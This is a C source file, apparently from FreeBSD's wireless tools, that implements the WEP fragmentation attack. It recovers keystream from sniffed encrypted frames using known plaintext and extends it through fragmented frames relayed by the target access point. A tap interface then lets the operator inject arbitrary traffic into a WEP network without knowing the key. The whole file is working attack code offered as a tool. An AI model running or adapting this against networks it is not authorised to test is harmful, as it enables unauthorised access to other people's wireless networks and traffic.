/*-
 * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 * $FreeBSD$
 */
#include <sys/endian.h>
#include <sys/time.h>
#include <sys/select.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <err.h>
#include <unistd.h>
#include <fcntl.h>
#include <assert.h>
#include <zlib.h>
#include "w00t.h"


static char *known_pt_arp = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
static char *known_pt_ip = "\xAA\xAA\x03\x00\x00\x00\x08\x00";
static int known_pt_len = 8;

enum {
	S_START = 0,
	S_SEND_FRAG,
	S_WAIT_ACK,
	S_WAIT_RELAY
};

struct params {
	int tx;
	int rx;
	
	char mac[6];
	char ap[6];
	
	char prga[2048];
	int prga_len;
	char iv[3];

	char *fname;

	struct timeval last;
	char packet[2048];
	int packet_len;
	int state;

	char data[2048];
	char *data_ptr;
	int data_len;
	int data_try;
	int mtu;

	int seq;
	int frag;

	int tap;
};

void usage(char *p)
{
	printf("Usage: %s <opts>\n"
	       "-h\thelp\n"
	       "-b\t<bssid>\n"
	       "-t\t<tap>\n"
	       , p);
	exit(0);
}

void load_prga(struct params *p)
{
	int fd;
	int rd;

	fd = open(p->fname, O_RDONLY);
	if (fd == -1) {
		p->prga_len = 0;
		return;
	}

	rd = read(fd, p->iv, 3);
	if (rd == -1)
		err(1, "read()");
	if (rd != 3) {
		printf("Short read\n");
		exit(1);
	}

	rd = read(fd, p->prga, sizeof(p->prga));
	if (rd == -1)
		err(1, "read()");
	p->prga_len = rd;
	
	printf("Loaded %d PRGA from %s\n", p->prga_len, p->fname);
	close(fd);
}

void save_prga(struct params *p)
{
	int fd;
	int rd;

	fd = open(p->fname, O_WRONLY | O_CREAT, 0644);
	if (fd == -1)
		err(1, "open()");

	rd = write(fd, p->iv, 3);
	if (rd == -1)
		err(1, "write()");
	if (rd != 3) {
		printf("Short write\n");
		exit(1);
	}

	rd = write(fd, p->prga, p->prga_len);
	if (rd == -1)
		err(1, "write()");
	if (rd != p->prga_len) {
		printf("Wrote %d/%d\n", rd, p->prga_len);
		exit(1);
	}
	close(fd);

	printf("Got %d bytes of PRGA\n", p->prga_len);
}

int is_arp(struct ieee80211_frame *wh, int len)
{
	/* XXX */
	if (len > (sizeof(*wh) + 4 + 4 + 39))
		return 0;

	return 1;	
}

void get_prga(struct params *p)
{
	char buf[4096];
	int rc;
        struct ieee80211_frame *wh;
	char *bssid;
	char *ptr;
	char *known_pt;

        rc = sniff(p->rx, buf, sizeof(buf));
        if (rc == -1)
                err(1, "sniff()");

        wh = get_wifi(buf, &rc);
        if (!wh)
                return;

	if (!frame_type(wh, IEEE80211_FC0_TYPE_DATA,
			IEEE80211_FC0_SUBTYPE_DATA))
		return;
	
	if (is_arp(wh, rc))
		known_pt = known_pt_arp;
	else
		known_pt = known_pt_ip;

	if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
		bssid = wh->i_addr1;
	else
		bssid = wh->i_addr2;

	if (memcmp(p->ap, bssid, 6) != 0)
		return;

	if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) {
		printf("Packet not WEP!\n");
		return;
	}

	ptr = (char*) (wh+1);
	memcpy(p->iv, ptr, 3);
	ptr += 4;
	rc -= sizeof(wh) + 4;

	assert(rc >= known_pt_len);

	for (rc = 0; rc < known_pt_len; rc++) {
		p->prga[rc] = known_pt[rc] ^ (*ptr);
		ptr++;
	}

	p->prga_len = rc;
	save_prga(p);
}

void start(struct params *p)
{
	int len;

	len = p->prga_len;
	len -= 4;
	assert(len > 0);

	len *= 4;
	if (len > p->mtu)
		len = p->mtu;

	p->data_len = len;
	memset(p->data, 0, p->data_len);
	memcpy(p->data, "\xaa\xaa\x03\x00\x00\x00\x08\x06", 8);
	p->data_ptr = p->data;
	p->data_try = 0;
	p->seq++;
	p->frag = 0;
	p->state = S_SEND_FRAG;
}

void send_packet(struct params *p)
{
	int rc;
	struct ieee80211_frame *wh;

	rc = inject(p->tx, p->packet, p->packet_len);
	if (rc == -1)
		err(1, "inject()");
	if (rc != p->packet_len) {
		printf("Wrote %d/%d\n", rc, p->packet_len);
		exit(1);
	}

	p->data_try++;
	wh = (struct ieee80211_frame*) p->packet;
	wh->i_fc[1] |= IEEE80211_FC1_RETRY;

	if (gettimeofday(&p->last, NULL) == -1)
		err(1, "gettimeofday()");
}

void send_frag(struct params *p)
{
	struct ieee80211_frame *wh;
	int dlen, rem;
	int last = 0;
	short *seqp;
	char *ptr;
	uLong *pcrc;
	uLong crc = crc32(0L, Z_NULL, 0);
	int i;

	memset(p->packet, 0, sizeof(p->packet));
	wh = (struct ieee80211_frame*) p->packet;

	/* calculate how much data we need to copy */
	dlen = p->prga_len - 4;
	rem = p->data_ptr - p->data;
	rem = p->data_len - rem;

	if (rem <= dlen) {
		dlen = rem;
		last = 1;
	}

	/* 802.11 */
	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
	wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
	wh->i_fc[1] |= IEEE80211_FC1_WEP;
	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
	if (!last)
		wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;

	wh->i_dur[0] = 0x69;
	wh->i_dur[1] = 0x00;
	
	memcpy(wh->i_addr1, p->ap, 6);
	memcpy(wh->i_addr2, p->mac, 6);
	memset(wh->i_addr3, 0xff, 6);

	seqp = (short*) wh->i_seq;
	*seqp = seqfn(p->seq, p->frag);
	p->frag++;

	/* IV & data */
	ptr = (char*) (wh+1);
	memcpy(ptr, p->iv, 3);
	ptr += 4;
	memcpy(ptr, p->data_ptr, dlen);

	/* crc */
	crc = crc32(crc, ptr, dlen);
	pcrc = (uLong*) (ptr+dlen);
	*pcrc = crc;

	/* wepify */
	for (i = 0; i < dlen+4; i++)
		ptr[i] = ptr[i] ^ p->prga[i];

	/* prepare for next frag */
	p->packet_len = sizeof(*wh) + 4 + dlen + 4;
	p->data_ptr += dlen;
#if 0
	printf("Sening %sfrag [%d/%d] [len=%d]\n", last ? "last " : "",
	       p->seq, p->frag, dlen);
#endif	
	if (last) {
		p->data_ptr = p->data;
		p->frag = 0;
		p->seq++;
	}

	/* send it off */
	send_packet(p);
	p->state = S_WAIT_ACK;
}

void wait_ack(struct params *p)
{
	struct timeval now;
	int el;
	int tout = 10*1000;
	fd_set fds;
	int rc;
	char buf[4096];
	struct ieee80211_frame *wh;

	if (gettimeofday(&now, NULL) == -1)
		err(1, "gettimeofday()");

	/* check for timeout */
	el = elapsed(&p->last, &now);
	if (el >= tout) {
		if (p->data_try >= 3) {
#if 0		
			printf("Re-sending whole lot\n");
#endif			
			p->state = S_START;
			return;
		}
#if 0
		printf("Re-sending frag\n");
#endif		
		send_packet(p);
		el = 0;
	}

	el = tout - el;
	now.tv_sec = el/1000/1000;
	now.tv_usec = el - now.tv_sec*1000*1000;

	FD_ZERO(&fds);
	FD_SET(p->rx, &fds);
	if (select(p->rx+1, &fds, NULL, NULL, &now) == -1)
		err(1, "select()");

	if (!FD_ISSET(p->rx, &fds))
		return;

	/* grab ack */
        rc = sniff(p->rx, buf, sizeof(buf));
        if (rc == -1)
                err(1, "sniff()");

        wh = get_wifi(buf, &rc);
        if (!wh)
                return;

	if (!frame_type(wh, IEEE80211_FC0_TYPE_CTL, IEEE80211_FC0_SUBTYPE_ACK))
		return;

	if (memcmp(p->mac, wh->i_addr1, 6) != 0)
		return;

	/* wait for relay */
	if (p->frag == 0) {
		p->state = S_WAIT_RELAY;
		if (gettimeofday(&p->last, NULL) == -1)
			err(1, "gettimeofday()");
	}
	else
		p->state = S_SEND_FRAG;
}

void wait_relay(struct params *p)
{
	int tout = 20*1000;
	struct timeval now;
	int el;
	fd_set fds;
	int rc;
	char buf[4096];
	struct ieee80211_frame *wh;
	char *ptr;
	uLong crc = crc32(0L, Z_NULL, 0);
	uLong *pcrc;

	if (gettimeofday(&now, NULL) == -1)
		err(1, "gettimeofday()");

	el = elapsed(&p->last, &now);
	if (el >= tout) {
#if 0	
		printf("No relay\n");
#endif		
		p->state = S_START;
		return;
	}
	el = tout - el;
	now.tv_sec = el/1000/1000;
	now.tv_usec = el - now.tv_sec*1000*1000;

	FD_ZERO(&fds);
	FD_SET(p->rx, &fds);
	if (select(p->rx+1, &fds, NULL, NULL, &now) == -1)
		err(1, "select()");
	
	if (!FD_ISSET(p->rx, &fds))
		return;

	/* get relay */
        rc = sniff(p->rx, buf, sizeof(buf));
        if (rc == -1)
                err(1, "sniff()");

        wh = get_wifi(buf, &rc);
        if (!wh)
                return;

	if (!frame_type(wh, IEEE80211_FC0_TYPE_DATA,
			IEEE80211_FC0_SUBTYPE_DATA))
		return;

	if (memcmp(wh->i_addr2, p->ap, 6) != 0)
		return;

	if (memcmp(wh->i_addr3, p->mac, 6) != 0)
		return;

	if (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) != 0)
		return;

	/* lends different due to padding? */
	if ( (rc - sizeof(*wh) - 8) != p->data_len)
		return;
	
	/* grab new PRGA */
	assert(p->data_len >= p->prga_len);
	ptr = (char*) (wh+1);
	memcpy(p->iv, ptr, 3);
	ptr += 4;

	crc = crc32(crc, p->data, p->data_len);
	pcrc = (uLong*) &p->data[p->data_len]; /* XXX overflow ph33r */
	*pcrc = crc;

	for (rc = 0; rc < p->data_len+4; rc++)
		p->prga[rc] = p->data[rc] ^ ptr[rc];

	p->prga_len = p->data_len+4;
	p->state = S_START;
	save_prga(p);
}

void get_more_prga(struct params *p)
{
	switch (p->state) {
	case S_START:
		start(p);
		break;

	case S_SEND_FRAG:
		send_frag(p);
		break;

	case S_WAIT_ACK:
		wait_ack(p);
		break;

	case S_WAIT_RELAY:
		wait_relay(p);
		break;

	default:
		printf("WTF %d\n", p->state);
		abort();
		break;
	}
}

void read_tap(struct params *p)
{
	int offset;
	char *ptr;
	struct ieee80211_frame *wh;
	int rc;
	char dst[6];
	short *seq;
	uLong *pcrc;
	uLong crc = crc32(0L, Z_NULL, 0);

	memset(p->packet, 0, sizeof(p->packet));
	offset = sizeof(*wh) + 4 + 8 - 14;
	rc = sizeof(p->packet) - offset;
	ptr = &p->packet[offset];

	rc = read(p->tap, ptr, rc);
	if (rc == -1)
		err(1, "read()");

	memcpy(dst, ptr, sizeof(dst));
	wh = (struct ieee80211_frame*) p->packet;
	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
	wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
	wh->i_fc[1] |= IEEE80211_FC1_WEP;
	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;

	wh->i_dur[0] = 0x69;

	memcpy(wh->i_addr1, p->ap, 6);
	memcpy(wh->i_addr2, p->mac, 6);
	memcpy(wh->i_addr3, dst, 6);

	seq = (short*) wh->i_seq;
	*seq = seqfn(p->seq++, 0);

	/* data */
	ptr = (char*) (wh+1);
	memcpy(ptr, p->iv, 3);
	ptr += 3;
	*ptr++ = 0;
	memcpy(ptr, "\xAA\xAA\x03\x00\x00\x00", 6);
	rc -= 14;
	rc += 8;
	
	crc = crc32(crc, ptr, rc);
	pcrc = (uLong*) (ptr+rc);
	*pcrc = crc;

	rc += 4;

	assert(p->prga_len >= rc);

	/* wepify */
	for (offset = 0; offset < rc; offset++)
		ptr[offset] ^= p->prga[offset];

	p->packet_len = sizeof(*wh) + 4 + rc;
	p->data_try = 0;
	send_packet(p);
	p->state = S_WAIT_ACK;
}

/* XXX */
void wait_tap_ack(struct params *p)
{
	p->data_try = 0;
	p->frag = 1;
	wait_ack(p);

	if (p->state == S_SEND_FRAG) {
#if 0
		printf("Got ACK\n");
#endif
		p->state = S_START;
	}	
}

void transmit(struct params *p)
{
	switch (p->state) {
	case S_START:
		read_tap(p);
		break;
	
	case S_WAIT_ACK:
		wait_tap_ack(p);
		break;

	default:
		printf("wtf %d\n", p->state);
		abort();
		break;
	}
}

int main(int argc, char *argv[])
{
	struct params p;
	char *iface = "wlan0";
	char *tap = "tap0";
	int ch;

	memset(&p, 0, sizeof(p));
	p.fname = "prga.log";
	memcpy(p.mac, "\x00\x00\xde\xfa\xce\x0d", 6);
	p.state = S_START;
	p.mtu = 1500;
	p.seq = getpid();

	while ((ch = getopt(argc, argv, "hb:t:")) != -1) {
		switch (ch) {
		case 'b':
			if (str2mac(p.ap, optarg) == -1) {
				printf("Can't parse BSSID\n");
				exit(1);
			}
			break;

		case 't':
			tap = optarg;
			break;

		case 'h':
		default:
			usage(argv[0]);
			break;
		}
	}

	/* init */
	if ((p.rx = open_rx(iface)) == -1)
		err(1, "open_rx()");
	if ((p.tx = open_tx(iface)) == -1)
		err(1, "open_tx()");

	if ((p.tap = open_tap(tap)) == -1)
		err(1, "open_tap()");
	if (set_iface_mac(tap, p.mac) == -1)
		err(1, "set_iface_mac()");

	printf("Obtaining PRGA\n");
	/* make sure we got some prga */
	load_prga(&p);

	while (p.prga_len == 0)
		get_prga(&p);

	/* lets grab some more */
	while (p.prga_len < p.mtu)
		get_more_prga(&p);

	/* transmit */
	p.state = S_START;
	while (1)
		transmit(&p);

	exit(0);
}